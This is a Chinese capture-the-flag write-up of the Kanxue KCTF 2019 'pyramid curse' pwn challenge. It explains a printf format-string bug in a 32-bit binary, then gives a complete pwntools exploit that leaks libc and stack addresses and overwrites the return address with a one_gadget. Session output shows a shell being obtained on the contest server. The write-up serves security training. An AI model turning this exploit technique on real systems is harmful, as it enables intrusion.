2019看雪紐盾KCTF晉級賽Q2經過十四天的激烈比拼,於6月24日正午12點整正式宣告結束。
昨天我們公佈了第一題神秘來信的題目解析,大家看過點評及其解析思路是不是覺得豁然開朗了呢?今天就讓我們一起來看下第三題,看看如何去破解金字塔的詛咒,放大招!!!
題目簡介
經過長途跋涉,你來到坐落於尼羅河畔的神秘金字塔。這座已有4500多年曆史的角錐體建築物拔地而起,規模宏偉,結構精密,在一望無際的沙漠中格外的耀眼。即使經過千百年的打磨,金字塔自是巋然不動。
傳說,外星人曾進入地球,由於飛船損壞,被迫降落在埃及。於是在建造了金字塔,想要建立與本身星球的聯絡,持續的向外太空發射電磁破。但是由於得不到及時的能量補給,他便死在這裡,留下了一塊能量寶石。
人類一直在嘗試進入金字塔的內部一覽真容,卻屢屢失敗。傳說,金字塔已被“詛咒”,任何想要開啟窺探的人,都將受到“詛咒”。你要如何破解這個詛咒,成功拿到寶石呢?祝你好運!
本題圍觀人數高達2020人,人氣頗高,攻破人數為49人,看來第三題還是稍有難度的,沒有第一題破解的人數多。
攻破此題的戰隊排名一覽:
看雪CTF 評委 crownless 點評
程式主函式很簡單,含有很明顯的格式化字串漏洞。利用思路是洩漏libc和棧地址,來計算出one_gadget和儲存返回地址的棧地址。可以修改環境變數地址為返回地址,然後寫入onegadget,即可完成此題。
設計思路
本題出題戰隊卑微菜雞隊:
隊伍簡介:
黃瓜香蕉,個人學習兩年半的個人安全研究者,擅長pwn,希望和各位大佬多多交流
這是一道format題目。
格式化字串,進入ctf_xinetd後直接docker build -t name 。
在bin目錄下放的是題目和flag檔案
1. 題目保護機制全開
2. 題目存在兩個選項輸入和退出
3. 輸入存在格式化字串
4. 由於寫入的的位置不在棧上,無法利用
5. 可以看到棧上存在libc_start_main返回地址,可以洩露libc地址
6. 下面的是環境變數的地址,我們可以修改環境變數地址為返回地址,然後寫入onegadget
解題思路
本題解題思路由看雪論壇jackandkx提供:
0x0 checksec
保護全開
[*]
'/home/abc/Desktop/3/format'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
0x1 程式分析
程式一開始,作者就給出了親切的問候:
puts("Welcome to kanxue 2019, your pwn like cxk");
主函式很簡單:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx;
// eax
char buf[4];
// [esp+0h] [ebp-10h]
unsigned int v6;
// [esp+4h] [ebp-Ch]
int *v7;
// [esp+8h] [ebp-8h]
v7 = &argc;
v6 = __readgsdword(0x14u);
setvbuf(stdin,
0,
2,
0);
setvbuf(stdout,
0,
2,
0);
puts("Welcome to kanxue 2019, your pwn like cxk");
do
{
while (
1 )
{
menu();
read(0, buf,
4u);
idx = atoi(buf);
if ( idx !=
1 )
break;
printf("What do tou want to say:");
read_input((int)echo,
24);
printf(echo);
puts((const char *)&unk_5655FA97);
}
}
while ( idx !=
2 );
return 0;
}
很明顯的格式化字串漏洞,format string是個全域性變數:
.bss:5656100C ; char echo[24]
.bss:5656100C echo db 18h dup(?) ; DATA XREF: main+B2↑o
0x2 利用思路
首先棧上有libc和棧地址,先把這兩個洩露出來,計算出one_gadget和儲存返回地址的棧地址。
主要思路:利用%n引數改寫main函式返回地址為one_gadget。
然而棧上並沒有指向返回地址的值,所以我們要自己構造出來。
構造方法:
1. 透過除錯,找到一個儲存在棧上的棧指標,而且這個棧指標指向的值也是一個棧上的地址(因為%n測試時只能寫入兩個位元組的值,寫4個位元組會失敗?)。
2. %n引數修改這個棧指標指向的棧地址的低16位為&ret_addr的低16位,這樣,這個棧地址就和&ret_addr一樣了。
3. %n引數修改ret_addr低16位為one_gadget低16位。
4. %n引數修改這個棧指標指向的棧地址的低16位為&ret_addr+2的低16位。
5. %n引數修改ret_addr高16位為one_gadget高16位。
最後程式返回,執行One_gadget拿到shell。
0x3 完整EXP
from pwn import *
import pdb
# context.log_level = 'debug'
one_gadget = 0x5f065
# one_gadget = 0x5fbc5
# p = process('./format')
p = remote('152.136.18.34',9999)
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('say:')
payload = '%3$p %5$p %11$p'
p.sendline(payload)
s = p.recvuntil('Choice').split(' ')
s[2] = s[2][:10]
elf_base = int(s[0],16)-0x8f3
ret_addr = int(s[1],16)-0x98
libc_base = int(s[2],16)-0x18637
print hex(elf_base)
print hex(ret_addr)
print hex(libc_base)
p.sendline('1')
p.recvuntil('say:')
payload = r'%.{:d}x%5$hn'.format(ret_addr&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('say:')
payload = r'%.{:d}x%53$hn'.format((libc_base+one_gadget)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('say:')
payload = r'%.{:d}x%5$hn'.format((ret_addr+2)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('say:')
# pdb.set_trace()
payload = r'%.{:d}x%53$hn'.format(((libc_base+one_gadget)>>16)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('2')
p.interactive()
# abc@vm:~/Desktop/3$ python exp.py
# [+] Opening connection to 152.136.18.34 on port 9999: Done
# 0x56572000
# 0xffa4cd8c
# 0xf7d7c000
# [*] Switching to interactive mode
# :$ ls
# bin
# dev
# flag
# format
# lib
# lib32
# lib64
# $ cat flag
# flag{c6671fc0-cea3-42ef-8af0-c20c65f854be}
主辦方
看雪學院(http://www.kanxue.com)是一個專注於PC、移動、智慧裝置安全研究及逆向工程的開發者社群!建立於2000年,歷經19年的發展,受到業內的廣泛認同,在行業中樹立了令人尊敬的專業形象。平臺為會員提供安全知識的線上課程教學,同時為企業提供智慧裝置安全相關產品和服務。
合作伙伴
上海紐盾科技股份有限公司成立於2009年,是一家以“網路安全”為主軸,以“科技源自生活,紐盾服務社會”為核心經營理念,以網路安全產品的研發、生產、銷售、售後服務與相關安全服務為一體的專業安全公司,致力於為數字化時代背景下的使用者提供安全產品、安全服務以及等級保護等安全解決方案。
詳情連結:
https://www.bagevent.com/event/2195041